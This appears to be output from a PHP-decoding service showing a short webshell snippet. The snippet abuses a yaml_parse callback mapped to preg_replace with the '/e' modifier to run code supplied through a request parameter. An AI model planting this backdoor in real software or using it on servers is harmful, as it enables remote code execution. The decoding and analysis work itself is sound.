Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $str = urlencode($_REQUEST['op']); $yaml = <<<EOD greeting: !{$str} "|.+|e"..

Decoded Output download

<?php 
  $str = urlencode($_REQUEST['op']); 
  $yaml = <<<EOD 
  greeting: !{$str} "|.+|e" 
  EOD; 
  $parsed = yaml_parse($yaml, 0, $cnt, array("!{$_REQUEST['op']}" => 'preg_replace')); 
?>

Did this file decode correctly?

Original Code

<?php
  $str = urlencode($_REQUEST['op']);
  $yaml = <<<EOD
  greeting: !{$str} "|.+|e"
  EOD;
  $parsed = yaml_parse($yaml, 0, $cnt, array("!{$_REQUEST['op']}" => 'preg_replace'));
?>

Function Calls

None

Variables

None

Stats

MD5 e449f48861062e7d052eafafbb67427a
Eval Count 0
Decode Time 89 ms